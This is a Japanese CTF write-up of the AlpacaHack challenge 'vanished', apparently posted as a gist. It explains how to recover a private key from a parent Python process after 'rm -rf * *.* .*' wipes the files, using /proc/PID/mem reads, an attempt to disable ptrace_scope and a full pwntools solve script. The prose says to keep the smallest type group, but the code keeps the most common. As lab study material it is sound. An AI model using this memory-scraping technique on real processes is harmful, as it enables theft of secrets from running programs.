Skip to content

Instantly share code, notes, and snippets.

@lqvp
Created June 3, 2026 03:23
Show Gist options
  • Select an option

  • Save lqvp/3d996ad588311274dfc969cb70b2456d to your computer and use it in GitHub Desktop.

Select an option

Save lqvp/3d996ad588311274dfc969cb70b2456d to your computer and use it in GitHub Desktop.

AlpacaHack "vanished" Writeup

Flag: Alpaca{8a8c58f3cc9b2a5b92cb604d57fbb27e8bca3c763759250d20945cc13e4f6a19}

チャレンジ概要

接続すると are you sure you want to delete everything? (y/N) と聞かれる。y を送ると、サーバー上のファイルが全て削除され(rm -rf)、シェルが与えられる。

チャレンジサーバーの chal.py は以下の処理を行う:

private_key = open("private_key").read() # 32バイトの秘密鍵をメモリに読み込む
os.system("rm -rf * *.* .*") # 全ファイル削除
os.system("sh") # シェルを起動

ファイルは消えても、Python プロセスのメモリ上には秘密鍵が残っている。

解法

前提知識:Python の bytes object メモリレイアウト

CPython 3.x(64ビット)において、bytes object は以下のようにメモリ上に配置される:

offset 0:   ob_refcnt  (8バイト) — 参照カウント
offset 8:   ob_type    (8バイト) — PyBytes_Type へのポインタ
offset 16:  ob_size    (8バイト) — データ長(= 32)
offset 24:  ob_shash   (8バイト) — ハッシュキャッシュ(未計算時は -1)
offset 32:  ob_val     (32バイト) — 実際のデータ(private_key)

rm -rf でファイルが消えても、Python プロセスが生存していれば、private_key 変数が指す bytes object のメモリは残り続ける。

手順

Step 1: シェル取得

$ nc <host> <port>
are you sure you want to delete everything? (y/N): y
omg! my 100 bitcoin private key is also gone :(
#

Step 2: Python プロセスの PID を特定

socat の接続構造は以下のようになっている:

socat (PID 1) → python chal.py (PID 9) → os.system("sh") → /bin/sh (PID 12)

シェル(PID 12)から Python プロセス(PID 9)のメモリを読む必要がある。$PPID は直接の親(sh -c sh ラッパー)を指すので、さらに一段上を辿る:

# $PPID の PPID = python chal.py
awk '/PPid/{print $2}' /proc/$PPID/status

Step 3: ptrace_scope の確認と無効化

cat /proc/sys/kernel/yama/ptrace_scope
# 1 なら制限あり(privileged container なら 0 に変更可能)
echo 0 > /proc/sys/kernel/yama/ptrace_scope 2>/dev/null

非 privileged コンテナでは変更できないが、root ユーザーであれば /proc/PID/mem を読み取ることは可能(同一 PID namespace 内)。

Step 4: メモリスキャン

Python で /proc/PID/maps/proc/PID/mem を使って、bytes object のヘッダパターンを検索する:

import struct

pid = <python_pid>
needle = bytes([0x20, 0,0,0,0,0,0,0, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff])
# ob_size=32 , ob_shash=-1 (未計算)

with open(f"/proc/{pid}/maps") as f:
    for line in f:
        parts = line.split()
        if "rw" not in parts[1]:  # rw マッピングのみスキャン
            continue
        a, b = parts[0].split("-")
        start, end = int(a, 16), int(b, 16)
        if end - start > 200_000_000:  # 巨大領域はスキップ
            continue
        with open(f"/proc/{pid}/mem", "rb") as mem:
            mem.seek(start)
            data = mem.read(end - start)

        # bytes object ヘッダを struct で検索
        for i in range(0, len(data) - 64, 8):
            refcnt, typ, size = struct.unpack_from("<QQQ", data, i)
            if size == 32 and typ > 0x100000 and refcnt < 100:
                shash = struct.unpack_from("<q", data, i+24)[0]
                if shash == -1:  # ハッシュ未計算 = 最近作成された bytes object
                    key = data[i+32:i+64]  # ob_val(実際のデータ)
                    print(f"candidate: {key.hex()}")

Step 5: 偽陽性の除外

ob_size=32, ob_shash=-1 でマッチする object には、bytes object だけでなく str object も含まれる。str object のデータは隣接する object のヘッダ(ob_size=100 = 0x64)で始まることが多く、偽陽性の原因となる。

除外フィルタ: データの先頭8バイトが 0x6400000000000000 なら str object の偽陽性として除外。

さらに、ob_type ポインタで bytes object を識別:

  • PyBytes_Type と PyUnicode_Type は異なるアドレス
  • str 偽陽性を除外した後の object を ob_type でグルーピングし、最も少ないグループ(= PyBytes_Type)を選択

Step 6: キーの選択

bytes object の候補の中で、printable ASCII 文字の割合が最も高いもの が private_key:

candidates = [...]  # Step 5 で得た候補
best = max(candidates, key=lambda k: sum(1 for b in k if 32 <= b <= 126))
print(f"Alpaca{{{best.hex()}}}")

solve.py

#!/usr/bin/env python3
from pwn import *
import base64, re, sys, time
from collections import Counter

HOST = sys.argv[1] if len(sys.argv) > 1 else "localhost"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

context.log_level = 'info'

r = remote(HOST, PORT)
r.recvuntil(b'(y/N): ')
r.sendline(b'y')
time.sleep(2)
r.recv(timeout=2)

# Grandparent PID(python chal.py)を取得
r.sendline(b'GPP=$(cat /proc/$PPID/status | grep PPid | awk "{print \\$2}"); echo GPP=$GPP')
time.sleep(1)
data = r.recvrepeat(2).decode()
gpp = re.search(r'GPP=(\d+)', data).group(1)
log.success(f"Python PID: {gpp}")

# メモリスキャンスクリプトを base64 で送信
scan_script = f'''
import struct, sys
ppid = {gpp}
results = []
with open(f"/proc/{{ppid}}/maps") as f:
    for line in f:
        parts = line.split()
        if "rw" not in parts[1]: continue
        a, b = parts[0].split("-")
        s, e = int(a, 16), int(b, 16)
        if e - s > 200000000: continue
        try:
            with open(f"/proc/{{ppid}}/mem", "rb") as m:
                m.seek(s)
                d = m.read(e - s)
        except: continue
        for i in range(0, len(d) - 64, 8):
            rc, ty, sz = struct.unpack_from("<QQQ", d, i)
            if sz == 32 and ty > 0x100000 and rc < 100:
                shash = struct.unpack_from("<q", d, i+24)[0]
                if shash == -1:
                    key = d[i+32:i+64]
                    results.append((rc, ty, key.hex()))
for rc, ty, kh in results:
    sys.stdout.write(f"R={{rc}} T={{ty}} K={{kh}}\\n")
    sys.stdout.flush()
sys.stdout.write(f"DONE={{len(results)}}\\n")
sys.stdout.flush()
'''.encode()

b64 = base64.b64encode(scan_script).decode()
r.sendline(f'echo "{b64}" | base64 -d | python3'.encode())
data = r.recvuntil(b'DONE=', timeout=60).decode(errors='replace')
count_line = r.recvline(timeout=5).decode(errors='replace').strip()
data += count_line
r.close()

# パース&フィルタリング
objects = []
for line in data.split('\n'):
    m = re.match(r'R=(\d+) T=(\d+) K=([0-9a-f]{64})', line.strip())
    if m:
        objects.append((int(m.group(1)), int(m.group(2)), m.group(3)))

# str 偽陽性を除外(データ先頭が 0x64)
filtered = []
for rc, ty, kh in objects:
    first8 = struct.unpack_from("<Q", bytes.fromhex(kh), 0)[0]
    if first8 == 0x64:
        continue
    filtered.append((rc, ty, kh))

# PyBytes_Type に絞る
type_counter = Counter(ty for _, ty, _ in filtered)
pybytes_ty = type_counter.most_common(1)[0][0]
real = [(rc, ty, kh) for rc, ty, kh in filtered if ty == pybytes_ty]

# printable count が最も高いものを選択
best = max(real, key=lambda x: sum(1 for b in bytes.fromhex(x[2]) if 32 <= b <= 126))
log.success(f"🚩 FLAG: Alpaca{{{best[2]}}}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment